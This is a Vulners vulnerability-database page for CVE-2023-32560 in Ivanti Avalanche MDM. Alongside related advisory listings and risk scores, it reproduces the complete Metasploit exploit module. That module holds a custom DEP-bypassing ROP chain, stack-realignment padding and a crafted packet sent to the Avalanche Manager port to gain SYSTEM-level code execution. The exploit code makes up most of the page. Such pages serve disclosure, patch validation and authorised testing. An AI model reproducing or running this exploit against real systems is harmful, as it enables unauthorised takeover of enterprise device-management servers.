Lucene search
+L

Ivanti Avalanche MDM Buffer Overflow

🗓️ 18 Sep 2023 19:52:24Reported by Ege BALCI egebalci <Ege BALCI [email protected]>, A researcher at TenableType 
metasploit
 metasploit
🔗 www.rapid7.com👁 240 Views

Buffer overflow in Ivanti Avalanche MDM v6.4.0.0 on Windows 10 allows arbitrary code execution

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Ivanti Avalanche < v6.4.0.0 - Remote Code Execution Exploit
4 Sep 202300:00
zdt
0day.today
Ivanti Avalanche MDM Buffer Overflow Exploit
18 Sep 202300:00
zdt
GithubExploit
Exploit for Improper Input Validation in Ivanti Avalanche
17 Aug 202303:39
githubexploit
Circl
CVE-2023-32560
11 Aug 202300:16
circl
CNNVD
Ivanti Avalanche Buffer Error Vulnerability
10 Aug 202300:00
cnnvd
CVE
CVE-2023-32560
10 Aug 202319:07
cve
Cvelist
CVE-2023-32560
10 Aug 202319:07
cvelist
Exploit DB
Ivanti Avalanche &lt;v6.4.0.0 - Remote Code Execution
4 Sep 202300:00
exploitdb
Ivanti
Security Advisory - Avalanche CVE-2023-38036
31 Aug 202316:52
ivanti
Ivanti
Avalanche Vulnerabilities Addressed in 6.4.1
3 Aug 202321:00
ivanti
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Avalanche MDM Buffer Overflow',
        'Description' => %q{
          This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before v6.4.1.
          An attacker can send a specially crafted message to the Wavelink Avalanche Manager,
          which could result in arbitrary code execution with the NT/AUTHORITY SYSTEM permissions.
          This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types.
          The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack.
          Upon successful exploitation the attacker gains full access to the target system.

          This vulnerability has been tested against Ivanti Avalanche MDM v6.4.0.0 on Windows 10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ege BALCI egebalci[at]pm.me', # PoC & Msf Module
          'A researcher at Tenable' # Discovery
        ],
        'References' => [
          ['CVE', '2023-32560'],
          ['URL', 'https://www.tenable.com/security/research/tra-2023-27'],
          ['URL', 'https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1']
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Arch' => ARCH_X86,
        'Payload' => {
          'BadChars' => "\x3b"
        },
        'Targets' => [['Ivanti Avalanche <= v6.4.0.0', {}]],
        'Privileged' => true,
        'DisclosureDate' => '2023-08-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptPort.new('RPORT', [true, 'The remote Avalanche Manager port', 1777])
      ]
    )
  end

  def check
    begin
      connect
    rescue StandardError
      print_error('Could not connect to target!')
      return Exploit::CheckCode::Safe('Could not connect to target')
    end
    res = sock.get_once

    if res =~ /p\.guid/
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end

  def exploit
    expected_payload_size = 622

    # This is a custom ROP chain for bypassing DEP via VirtualAlloc
    rop_chain = [0x00544498].pack('V') # pop edx ; mov eax, 0x00000022 ; ret ;
    rop_chain += [0x00001000].pack('V')  # flAllocationType
    rop_chain += [0x00499ac0].pack('V')  # pop eax ; ret ;
    rop_chain += [0x0056a208].pack('V')  # VirtualAlloc IAT entry
    rop_chain += [0x00566650].pack('V')  # pop ecx ; ret ;
    rop_chain += [0x00000040].pack('V')  # flProtect
    rop_chain += [0x0054b079].pack('V')  # pop ebx ; ret ;
    rop_chain += [0x00000320].pack('V')  # dwSize
    rop_chain += [0x00402323].pack('V')  # pop ebp; ret
    rop_chain += [0x0055642a].pack('V')  # pop eax; ret
    rop_chain += [0x0052ad90].pack('V')  # pop esi; ret;
    rop_chain += [0x0042792f].pack('V')  # jmp [eax]
    rop_chain += [0x00521907].pack('V')  # pop edi ; ret ;
    rop_chain += [0x00568968].pack('V')  # ret ;
    rop_chain += [0x004995ab].pack('V')  # pushad ; ret ;
    rop_chain += [0x00499c20].pack('V')  # push esp ; ret

    # Because of the compiler optimized `qmemcpy`
    # we are not able to directly return to out smashed stack.
    # This buffer re-arranges the entire stack for escaping
    # the longass function without crashing.
    buf = Rex::Text.rand_text_alpha(136)
    buf += [0].pack('V')             # set empty register
    buf += [0].pack('V')             # set empty register
    buf += [0].pack('V')             # stack alignment buffer
    buf += [0].pack('V')             # stack alignment buffer
    buf += [0x00511a80].pack('V')    # ESP -> $(rop: "add esp, 0x10 ; ret ;")
    buf += [0x00583900].pack('V')    # .data section scratch space
    buf += [0x00583900].pack('V')    # .data section scratch space
    buf += [0x00585858].pack('V')    # .data section scratch space
    buf += [0x00585857].pack('V')    # .data section scratch space

    # ==================
    name1 = 'h.mid'
    value1 = "\x30"

    name2 = 'h.cmd'
    value2 = "\x31\x39"

    name3 = 'p.waitprofile'
    value3 = (buf + rop_chain + make_nops(expected_payload_size - payload.encoded.length) + payload.encoded)

    item1 = [2].pack('N')
    item1 += [name1.length].pack('N')
    item1 += [value1.length].pack('N')
    item1 += name1 + value1

    item2 = [2].pack('N')
    item2 += [name2.length].pack('N')
    item2 += [value2.length].pack('N')
    item2 += name2 + value2

    item3 = [101].pack('N')
    item3 += [name3.length].pack('N')
    item3 += [value3.length].pack('N')
    item3 += name3 + value3

    hp = item1 + item2 + item3
    if hp.length % 16 != 0 # Add padding if not power of 16
      hp += ("\x00" * (16 - (hp.length % 16)))
    end

    preamble = [hp.length + 16].pack('N')
    preamble += [item1.length + item2.length].pack('N')
    preamble += [(hp.length + 16) - 0x3b].pack('N')
    preamble += [0].pack('N')

    packet = preamble + hp

    print_status('Connecting to target...')
    connect
    res = sock.get_once
    fail_with(Failure::UnexpectedReply, 'Could not connect to MDM service - no response') if res.nil?

    print_status('Sending payload...')
    sock.put(packet)
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
9.3High risk
Vulners AI Score9.3
CVSS 3.19.8
CVSS 38.8
EPSS0.98919
SSVC
240